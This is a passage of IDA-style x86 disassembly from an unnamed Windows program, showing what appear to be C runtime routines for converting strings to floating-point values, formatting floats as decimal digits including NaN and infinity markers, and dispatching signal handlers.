xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_42519E
push edi
mov [ebp+arg_8], eax
loc_425151: ; CODE XREF: sub_42512A+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_4250CF
push ebx
call sub_4250CF
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425071
push ebx
call sub_4250CF
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425071
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_425151
xor edx, edx
pop edi
loc_42519E: ; CODE XREF: sub_42512A+21j
; sub_42512A+9Fj
cmp [ebx+8], edx
jnz short loc_4251CB
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_42519E
; ---------------------------------------------------------------------------
loc_4251CB: ; CODE XREF: sub_42512A+77j
mov esi, 8000h
loc_4251D0: ; CODE XREF: sub_42512A+B9j
test [ebx+8], esi
jnz short loc_4251E5
push ebx
call sub_4250CF
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_4251D0
; ---------------------------------------------------------------------------
loc_4251E5: ; CODE XREF: sub_42512A+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_42512A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4251F1 proc near ; CODE XREF: sub_424518+17p
; sub_424545+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_42522C: ; CODE XREF: sub_4251F1+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_425242
cmp cl, 9
jz short loc_425242
cmp cl, 0Ah
jz short loc_425242
cmp cl, 0Dh
jnz short loc_425245
loc_425242: ; CODE XREF: sub_4251F1+40j
; sub_4251F1+45j ...
inc edi
jmp short loc_42522C
; ---------------------------------------------------------------------------
loc_425245: ; CODE XREF: sub_4251F1+4Fj
push 4
pop esi
loc_425248: ; CODE XREF: sub_4251F1+AEj
; sub_4251F1+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_4254CB ; default
; jumptable 00425254 case 10
jmp off_425692[eax*4] ; switch jump
loc_42525B: ; DATA XREF: ___:off_425692o
cmp bl, 31h ; jumptable 00425254 case 0
jl short loc_42526C
cmp bl, 39h
jg short loc_42526C
loc_425265: ; CODE XREF: sub_4251F1+C4j
; sub_4251F1+118j
push 3
jmp loc_425489
; ---------------------------------------------------------------------------
loc_42526C: ; CODE XREF: sub_4251F1+6Dj
; sub_4251F1+72j
cmp bl, byte_43CBB8
jnz short loc_42527B
loc_425274: ; CODE XREF: sub_4251F1+124j
push 5
jmp loc_4254C1
; ---------------------------------------------------------------------------
loc_42527B: ; CODE XREF: sub_4251F1+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_4252A1
dec eax
dec eax
jz short loc_425295
sub eax, 3
jnz loc_425564
jmp loc_425324
; ---------------------------------------------------------------------------
loc_425295: ; CODE XREF: sub_4251F1+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_425248
; ---------------------------------------------------------------------------
loc_4252A1: ; CODE XREF: sub_4251F1+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_425248
; ---------------------------------------------------------------------------
loc_4252AA: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp bl, 31h ; jumptable 00425254 case 1
mov [ebp+var_10], edx
jl short loc_4252B7
cmp bl, 39h
jle short loc_425265
loc_4252B7: ; CODE XREF: sub_4251F1+BFj
cmp bl, byte_43CBB8
jz loc_42537F
cmp bl, 2Bh
jz short loc_4252F9
cmp bl, 2Dh
jz short loc_4252F9
cmp bl, 30h
jz short loc_425324
loc_4252D2: ; CODE XREF: sub_4251F1+207j
cmp bl, 43h
jle loc_425564
cmp bl, 45h
jle short loc_4252F2
cmp bl, 63h
jle loc_425564
cmp bl, 65h
jg loc_425564
loc_4252F2: ; CODE XREF: sub_4251F1+EDj
push 6
jmp loc_4254C1
; ---------------------------------------------------------------------------
loc_4252F9: ; CODE XREF: sub_4251F1+D5j
; sub_4251F1+DAj ...
dec edi
push 0Bh
jmp loc_4254C1
; ---------------------------------------------------------------------------
loc_425301: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp bl, 31h ; jumptable 00425254 case 2
jl short loc_42530F
cmp bl, 39h
jle loc_425265
loc_42530F: ; CODE XREF: sub_4251F1+113j
cmp bl, byte_43CBB8
jz loc_425274
cmp bl, 30h
jnz loc_4254D9
loc_425324: ; CODE XREF: sub_4251F1+9Fj
; sub_4251F1+DFj
mov eax, edx
jmp loc_425248
; ---------------------------------------------------------------------------
loc_42532B: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
mov [ebp+var_10], edx ; jumptable 00425254 case 3
loc_42532E: ; CODE XREF: sub_4251F1+184j
cmp dword_43CBB4, edx
jle short loc_425347
movzx eax, bl
push esi
push eax
call sub_41F515
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425355
; ---------------------------------------------------------------------------
loc_425347: ; CODE XREF: sub_4251F1+143j
mov ecx, off_43C9A8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425355: ; CODE XREF: sub_4251F1+154j
test eax, eax
jz short loc_425377
cmp [ebp+var_4], 19h
jnb short loc_42536F
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_425372
; ---------------------------------------------------------------------------
loc_42536F: ; CODE XREF: sub_4251F1+16Cj
inc [ebp+var_8]
loc_425372: ; CODE XREF: sub_4251F1+17Cj
mov bl, [edi]
inc edi
jmp short loc_42532E
; ---------------------------------------------------------------------------
loc_425377: ; CODE XREF: sub_4251F1+166j
cmp bl, byte_43CBB8
jnz short loc_4253E6
loc_42537F: ; CODE XREF: sub_4251F1+CCj
mov eax, esi
jmp loc_425248
; ---------------------------------------------------------------------------
loc_425386: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp [ebp+var_4], 0 ; jumptable 00425254 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_42539F
loc_425392: ; CODE XREF: sub_4251F1+1ACj
cmp bl, 30h
jnz short loc_42539F
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_425392
; ---------------------------------------------------------------------------
loc_42539F: ; CODE XREF: sub_4251F1+19Fj
; sub_4251F1+1A4j ...
cmp dword_43CBB4, edx
jle short loc_4253B8
movzx eax, bl
push esi
push eax
call sub_41F515
pop ecx
pop ecx
push 1
pop edx
jmp short loc_4253C6
; ---------------------------------------------------------------------------
loc_4253B8: ; CODE XREF: sub_4251F1+1B4j
mov ecx, off_43C9A8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_4253C6: ; CODE XREF: sub_4251F1+1C5j
test eax, eax
jz short loc_4253E6
cmp [ebp+var_4], 19h
jnb short loc_4253E1
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_4253E1: ; CODE XREF: sub_4251F1+1DDj
mov bl, [edi]
inc edi
jmp short loc_42539F
; ---------------------------------------------------------------------------
loc_4253E6: ; CODE XREF: sub_4251F1+18Cj
; sub_4251F1+1D7j
cmp bl, 2Bh
jz loc_4252F9
cmp bl, 2Dh
jz loc_4252F9
jmp loc_4252D2
; ---------------------------------------------------------------------------
loc_4253FD: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp dword_43CBB4, edx ; jumptable 00425254 case 5
mov [ebp+var_24], edx
jle short loc_425419
movzx eax, bl
push esi
push eax
call sub_41F515
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425427
; ---------------------------------------------------------------------------
loc_425419: ; CODE XREF: sub_4251F1+215j
mov ecx, off_43C9A8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425427: ; CODE XREF: sub_4251F1+226j
test eax, eax
jz loc_4254D9
mov eax, esi
jmp short loc_42548A
; ---------------------------------------------------------------------------
loc_425433: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
lea ecx, [edi-2] ; jumptable 00425254 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_425443
cmp bl, 39h
jle short loc_425487
loc_425443: ; CODE XREF: sub_4251F1+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_4254BF
dec eax
dec eax
jz short loc_4254B3
sub eax, 3
jnz loc_425567
loc_425458: ; CODE XREF: sub_4251F1+2A4j
push 8
jmp short loc_4254C1
; ---------------------------------------------------------------------------
loc_42545C: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
mov [ebp+var_20], edx ; jumptable 00425254 case 8
loc_42545F: ; CODE XREF: sub_4251F1+276j
cmp bl, 30h
jnz short loc_425469
mov bl, [edi]
inc edi
jmp short loc_42545F
; ---------------------------------------------------------------------------
loc_425469: ; CODE XREF: sub_4251F1+271j
cmp bl, 31h
jl loc_425564
cmp bl, 39h
jg loc_425564
jmp short loc_425487
; ---------------------------------------------------------------------------
loc_42547D: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp bl, 31h ; jumptable 00425254 case 7
jl short loc_425490
cmp bl, 39h
jg short loc_425490
loc_425487: ; CODE XREF: sub_4251F1+250j
; sub_4251F1+28Aj
push 9
loc_425489: ; CODE XREF: sub_4251F1+76j
pop eax
loc_42548A: ; CODE XREF: sub_4251F1+240j
dec edi
jmp loc_425248
; ---------------------------------------------------------------------------
loc_425490: ; CODE XREF: sub_4251F1+28Fj
; sub_4251F1+294j
cmp bl, 30h
jnz short loc_4254D9
jmp short loc_425458
; ---------------------------------------------------------------------------
loc_425497: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11
jz short loc_4254C7
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_4254BF
dec eax
dec eax
jnz loc_425567
loc_4254B3: ; CODE XREF: sub_4251F1+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_425248
; ---------------------------------------------------------------------------
loc_4254BF: ; CODE XREF: sub_4251F1+258j
; sub_4251F1+2B8j
push 7
loc_4254C1: ; CODE XREF: sub_4251F1+85j
; sub_4251F1+103j ...
pop eax
jmp loc_425248
; ---------------------------------------------------------------------------
loc_4254C7: ; CODE XREF: sub_4251F1+2AAj
push 0Ah
dec edi
pop eax
loc_4254CB: ; CODE XREF: sub_4251F1+5Dj
; sub_4251F1+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 00425254 case 10
jz loc_425569
jmp loc_425248
; ---------------------------------------------------------------------------
loc_4254D9: ; CODE XREF: sub_4251F1+12Dj
; sub_4251F1+238j ...
mov edi, [ebp+arg_8]
jmp loc_425569
; ---------------------------------------------------------------------------
loc_4254E1: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
mov [ebp+var_20], 1 ; jumptable 00425254 case 9
xor esi, esi
loc_4254EA: ; CODE XREF: sub_4251F1+339j
cmp dword_43CBB4, 1
jle short loc_425502
movzx eax, bl
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_425511
; ---------------------------------------------------------------------------
loc_425502: ; CODE XREF: sub_4251F1+300j
mov ecx, off_43C9A8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_425511: ; CODE XREF: sub_4251F1+30Fj
test eax, eax
jz short loc_425531
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_42552C
mov bl, [edi]
inc edi
jmp short loc_4254EA
; ---------------------------------------------------------------------------
loc_42552C: ; CODE XREF: sub_4251F1+334j
mov esi, 1451h
loc_425531: ; CODE XREF: sub_4251F1+322j
mov [ebp+var_1C], esi
loc_425534: ; CODE XREF: sub_4251F1+371j
cmp dword_43CBB4, 1
jle short loc_42554C
movzx eax, bl
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_42555B
; ---------------------------------------------------------------------------
loc_42554C: ; CODE XREF: sub_4251F1+34Aj
mov ecx, off_43C9A8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_42555B: ; CODE XREF: sub_4251F1+359j
test eax, eax
jz short loc_425564
mov bl, [edi]
inc edi
jmp short loc_425534
; ---------------------------------------------------------------------------
loc_425564: ; CODE XREF: sub_4251F1+99j
; sub_4251F1+E4j ...
dec edi
jmp short loc_425569
; ---------------------------------------------------------------------------
loc_425567: ; CODE XREF: sub_4251F1+261j
; sub_4251F1+2BCj
mov edi, ecx
loc_425569: ; CODE XREF: sub_4251F1+2DDj
; sub_4251F1+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_425651
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_425595
cmp [ebp+var_45], 5
jl short loc_425589
inc [ebp+var_45]
loc_425589: ; CODE XREF: sub_4251F1+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_425598
; ---------------------------------------------------------------------------
loc_425595: ; CODE XREF: sub_4251F1+38Dj
mov eax, [ebp+var_C]
loc_425598: ; CODE XREF: sub_4251F1+3A2j
cmp [ebp+var_4], 0
jbe loc_425647
loc_4255A2: ; CODE XREF: sub_4251F1+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_4255B0
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_4255A2
; ---------------------------------------------------------------------------
loc_4255B0: ; CODE XREF: sub_4251F1+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_42512A
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_4255CF
neg eax
loc_4255CF: ; CODE XREF: sub_4251F1+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_4255DA
add eax, [ebp+arg_10]
loc_4255DA: ; CODE XREF: sub_4251F1+3E4j
cmp [ebp+var_24], ecx
jnz short loc_4255E2
sub eax, [ebp+arg_14]
loc_4255E2: ; CODE XREF: sub_4251F1+3ECj
cmp eax, 1450h
jle short loc_425619
mov [ebp+var_2C], 1
loc_4255F0: ; CODE XREF: sub_4251F1+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_4255FC: ; CODE XREF: sub_4251F1+454j
; sub_4251F1+45Ej
cmp [ebp+var_2C], 0
jz short loc_425662
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_425677
; ---------------------------------------------------------------------------
loc_425619: ; CODE XREF: sub_4251F1+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_425629
mov [ebp+var_30], 1
jmp short loc_4255F0
; ---------------------------------------------------------------------------
loc_425629: ; CODE XREF: sub_4251F1+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_425DDA
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_4255FC
; ---------------------------------------------------------------------------
loc_425647: ; CODE XREF: sub_4251F1+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_4255FC
; ---------------------------------------------------------------------------
loc_425651: ; CODE XREF: sub_4251F1+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_425677
; ---------------------------------------------------------------------------
loc_425662: ; CODE XREF: sub_4251F1+40Fj
cmp [ebp+var_30], 0
jz short loc_425677
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_425677: ; CODE XREF: sub_4251F1+426j
; sub_4251F1+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_4251F1 endp
; ---------------------------------------------------------------------------
off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r
dd offset loc_4252AA ; jump table for switch statement
dd offset loc_425301
dd offset loc_42532B
dd offset loc_425386
dd offset loc_4253FD
dd offset loc_425433
dd offset loc_42547D
dd offset loc_42545C
dd offset loc_4254E1
dd offset loc_4254CB
dd offset loc_425497
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_425724
mov byte ptr [ebx+2], 2Dh
jmp short loc_425728
; ---------------------------------------------------------------------------
loc_425724: ; CODE XREF: sub_4256C2+5Aj
mov byte ptr [ebx+2], 20h
loc_425728: ; CODE XREF: sub_4256C2+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_42574E
test edi, edi
jnz short loc_42574E
cmp [ebp+arg_0], edi
jnz short loc_42574E
loc_425739: ; CODE XREF: sub_4256C2+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_42594C
; ---------------------------------------------------------------------------
loc_42574E: ; CODE XREF: sub_4256C2+6Cj
; sub_4256C2+70j ...
cmp dx, si
jnz short loc_4257CD
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_425767
cmp [ebp+arg_0], 0
jz short loc_425776
loc_425767: ; CODE XREF: sub_4256C2+9Dj
test edi, 40000000h
jnz short loc_425776
push offset a1Snan ; "1#SNAN"
jmp short loc_4257BC
; ---------------------------------------------------------------------------
loc_425776: ; CODE XREF: sub_4256C2+A3j
; sub_4256C2+ABj
test cx, cx
jz short loc_425790
cmp edi, 0C0000000h
jnz short loc_425790
cmp [ebp+arg_0], 0
jnz short loc_4257B7
push offset a1Ind ; "1#IND"
jmp short loc_42579F
; ---------------------------------------------------------------------------
loc_425790: ; CODE XREF: sub_4256C2+B7j
; sub_4256C2+BFj
cmp edi, eax
jnz short loc_4257B7
cmp [ebp+arg_0], 0
jnz short loc_4257B7
push offset a1Inf ; "1#INF"
loc_42579F: ; CODE XREF: sub_4256C2+CCj
lea eax, [ebx+4]
push eax
call sub_41BEB0
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_4257AE: ; CODE XREF: sub_4256C2+109j
and [ebp+var_4], 0
jmp loc_425925
; ---------------------------------------------------------------------------
loc_4257B7: ; CODE XREF: sub_4256C2+C5j
; sub_4256C2+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_4257BC: ; CODE XREF: sub_4256C2+B2j
lea eax, [ebx+4]
push eax
call sub_41BEB0
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_4257AE
; ---------------------------------------------------------------------------
loc_4257CD: ; CODE XREF: sub_4256C2+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_425DDA
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_42582E
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_425BBA
pop ecx
pop ecx
loc_42582E: ; CODE XREF: sub_4256C2+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_425848
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_42584B
jmp loc_425739
; ---------------------------------------------------------------------------
loc_425848: ; CODE XREF: sub_4256C2+173j
mov edi, [ebp+arg_C]
loc_42584B: ; CODE XREF: sub_4256C2+17Fj
cmp edi, 15h
jle short loc_425853
push 15h
pop edi
loc_425853: ; CODE XREF: sub_4256C2+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_425869: ; CODE XREF: sub_4256C2+1B4j
lea eax, [ebp+var_10]
push eax
call sub_4250CF
dec [ebp+arg_14]
pop ecx
jnz short loc_425869
test esi, esi
jge short loc_425893
neg esi
and esi, 0FFh
jle short loc_425893
loc_425886: ; CODE XREF: sub_4256C2+1CFj
lea eax, [ebp+var_10]
push eax
call sub_4250FD
dec esi
pop ecx
jnz short loc_425886
loc_425893: ; CODE XREF: sub_4256C2+1B8j
; sub_4256C2+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_4258F0
mov [ebp+arg_C], ecx
loc_4258A3: ; CODE XREF: sub_4256C2+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_4250CF
lea eax, [ebp+var_10]
push eax
call sub_4250CF
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_425071
lea eax, [ebp+var_10]
push eax
call sub_4250CF
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_4258A3
mov eax, [ebp+arg_14]
loc_4258F0: ; CODE XREF: sub_4256C2+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_42592D
loc_4258FD: ; CODE XREF: sub_4256C2+248j
cmp eax, ecx
jb short loc_425910
cmp byte ptr [eax], 39h
jnz short loc_42590C
mov byte ptr [eax], 30h
dec eax
jmp short loc_4258FD
; ---------------------------------------------------------------------------
loc_42590C: ; CODE XREF: sub_4256C2+242j
cmp eax, ecx
jnb short loc_425914
loc_425910: ; CODE XREF: sub_4256C2+23Dj
inc eax
inc word ptr [ebx]
loc_425914: ; CODE XREF: sub_4256C2+24Cj
inc byte ptr [eax]
loc_425916: ; CODE XREF: sub_4256C2+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_425925: ; CODE XREF: sub_4256C2+F0j
mov eax, [ebp+var_4]
loc_425928: ; CODE XREF: sub_4256C2+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42592D: ; CODE XREF: sub_4256C2+239j
; sub_4256C2+275j
cmp eax, ecx
jb short loc_42593D
cmp byte ptr [eax], 30h
jnz short loc_425939
dec eax
jmp short loc_42592D
; ---------------------------------------------------------------------------
loc_425939: ; CODE XREF: sub_4256C2+272j
cmp eax, ecx
jnb short loc_425916
loc_42593D: ; CODE XREF: sub_4256C2+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_42594C: ; CODE XREF: sub_4256C2+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_425928
sub_4256C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425955 proc near ; CODE XREF: sub_42255C+226Dp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_4259BC
dec eax
dec eax
jz short loc_4259AD
sub eax, 4
jz short loc_4259AD
sub eax, 3
jz short loc_4259AD
sub eax, 4
jz short loc_4259A0
sub eax, 6
jz short loc_425993
dec eax
jz short loc_425986
or eax, 0FFFFFFFFh
jmp loc_425A7E
; ---------------------------------------------------------------------------
loc_425986: ; CODE XREF: sub_425955+27j
mov esi, dword_4DBC2C
mov eax, offset dword_4DBC2C
jmp short loc_4259C7
; ---------------------------------------------------------------------------
loc_425993: ; CODE XREF: sub_425955+24j
mov esi, dword_4DBC28
mov eax, offset dword_4DBC28
jmp short loc_4259C7
; ---------------------------------------------------------------------------
loc_4259A0: ; CODE XREF: sub_425955+1Fj
mov esi, dword_4DBC30
mov eax, offset dword_4DBC30
jmp short loc_4259C7
; ---------------------------------------------------------------------------
loc_4259AD: ; CODE XREF: sub_425955+10j
; sub_425955+15j ...
push edi
call sub_425A82
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_4259C7
; ---------------------------------------------------------------------------
loc_4259BC: ; CODE XREF: sub_425955+Cj
mov esi, dword_4DBC24
mov eax, offset dword_4DBC24
loc_4259C7: ; CODE XREF: sub_425955+3Cj
; sub_425955+49j ...
cmp esi, 1
jnz short loc_4259D3
xor eax, eax
jmp loc_425A7E
; ---------------------------------------------------------------------------
loc_4259D3: ; CODE XREF: sub_425955+75j
test esi, esi
jnz short loc_4259DE
push 3
call sub_41B7C2
loc_4259DE: ; CODE XREF: sub_425955+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_4259F0
cmp edi, 0Bh
jz short loc_4259F0
cmp edi, 4
jnz short loc_425A16
loc_4259F0: ; CODE XREF: sub_425955+8Fj
; sub_425955+94j
mov ebx, dword_4DBA00
and dword_4DBA00, 0
cmp edi, ecx
jnz short loc_425A45
mov edx, dword_43CFFC
mov dword_43CFFC, 8Ch
mov [ebp+arg_0], edx
jmp short loc_425A19
; ---------------------------------------------------------------------------
loc_425A16: ; CODE XREF: sub_425955+99j
mov ebx, [ebp+arg_0]
loc_425A19: ; CODE XREF: sub_425955+BFj
cmp edi, ecx
jnz short loc_425A45
mov eax, dword_43CFF0
mov ecx, dword_43CFF4
add ecx, eax
cmp eax, ecx
jge short loc_425A4C
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:43CF80h[edx*4]
loc_425A3A: ; CODE XREF: sub_425955+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_425A3A
jmp short loc_425A4C
; ---------------------------------------------------------------------------
loc_425A45: ; CODE XREF: sub_425955+AAj
; sub_425955+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_425A5A
loc_425A4C: ; CODE XREF: sub_425955+D7j
; sub_425955+EEj
push dword_43CFFC
push 8
call esi
pop ecx
pop ecx
jmp short loc_425A68
; ---------------------------------------------------------------------------
loc_425A5A: ; CODE XREF: sub_425955+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_425A68
cmp edi, 4
